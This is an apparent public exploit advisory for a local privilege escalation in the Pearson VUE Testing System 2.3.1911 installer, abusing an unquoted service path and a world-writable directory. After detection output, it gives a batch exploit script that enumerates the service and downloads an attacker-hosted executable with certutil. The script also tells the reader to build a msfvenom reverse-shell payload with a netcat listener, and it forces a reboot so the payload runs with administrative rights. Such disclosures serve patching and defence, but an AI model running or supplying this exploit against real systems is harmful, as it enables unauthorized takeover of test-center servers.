# Exploit Title: Pearson Vue VTS 2.3.1911 Installer - 'VUEApplicationWrapper' Unquoted Service Path # Discovery by: Jok3r # Discovery Date: 2020-09-14 # Vendor Homepage: https://home.pearsonvue.com/ # Software Link: https://vss.pearsonvue.com/VSSFiles/Documents/ENU_TCInstallGuide/Download_VTS_Installer.htm # Tested Version: 2.3.1911 # Vulnerability Type: Unquoted Service Path # Tested on OS: Windows 10 Pro x64 es #Description: The Application Wrapper is the component that automates the Pearson VUE Testing System. The Wrapper is a scheduler that runs in the background on the test center’s server. VUEApplicationWrapper service has an unquoted service path vulnerability and insecure file permissions on "\Pearson VUE\" directory that allows to overwrite by everyone so that unauthorized local user can leverage privileges to VUEService user that has administrative rights. # Detection of unquoted service path: C:\Users\VUEService>wmic service get name, pathname, displayname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "Pearson" | findstr /i /v """ VUE Application Wrapper VUEApplicationWrapper C:\Pearson VUE\VUE Testing System\bin\VUEWrapper.exe Auto C:\Users\VUEService>sc qc VUEApplicationWrapper [SC] QueryServiceConfig SUCCESS SERVICE_NAME: VUEApplicationWrapper TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Pearson VUE\VUE Testing System\bin\VUEWrapper.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : VUE Application Wrapper DEPENDENCIES : lanmanworkstation SERVICE_START_NAME : .\VUEService #Detection of insecure file permissions: PS C:\Users\VUEService> Get-Acl -Path "c:\Pearson Vue\" Directory: C:\ Path Owner Access ---- ----- ------ Pearson Vue BUILTIN\Administrators Everyone Allow FullControl... #Exploit code: @ECHO OFF ECHO [+] executing command: "wmic service get name,pathname,displayname,startmode | findstr /i "Auto" | findstr /i "Pearson" | findstr /i /v "C:\Windows\\" | findstr /i /v """" wmic service get name,pathname,displayname,startmode | findstr /i "Auto" | findstr /i "Pearson" | findstr /i /v "C:\Windows\\" | findstr /i /v """ sc qc VUEApplicationWrapper powershell.exe -ep bypass -nop -c "Get-Acl -Path 'c:\Pearson Vue\'" ECHO [+] Enumeration was completed successfully. ::Create VUE.exe with following commands on your kali and serve it on port 80. Also listen port 443 with netcat for reverse shell. ::msfvenom -p windows/x64/shell/reverse_tcp LHOST=<Your IP Address> LPORT=443 -f exe > VUE.exe ECHO [*] If you create VUE.exe under "\Pearson VUE\" directory with your privileges, you might be able to get VUEService user privileges after windows was rebooted. certutil -urlcache -split -f http://<YOUR_IP_ADDRESS>/VUE.exe "C:\Pearson VUE\VUE.exe" ECHO [*] Downloading VUE executable... PAUSE IF EXIST "C:\Pearson VUE\VUE.exe" ( ECHO [+] The download was successful. ) ELSE ( ECHO [-] The download was unsuccessful. PAUSE ) ECHO [!] If you continue, system will be rebooted. PAUSE shutdown /r /t 0 ::code end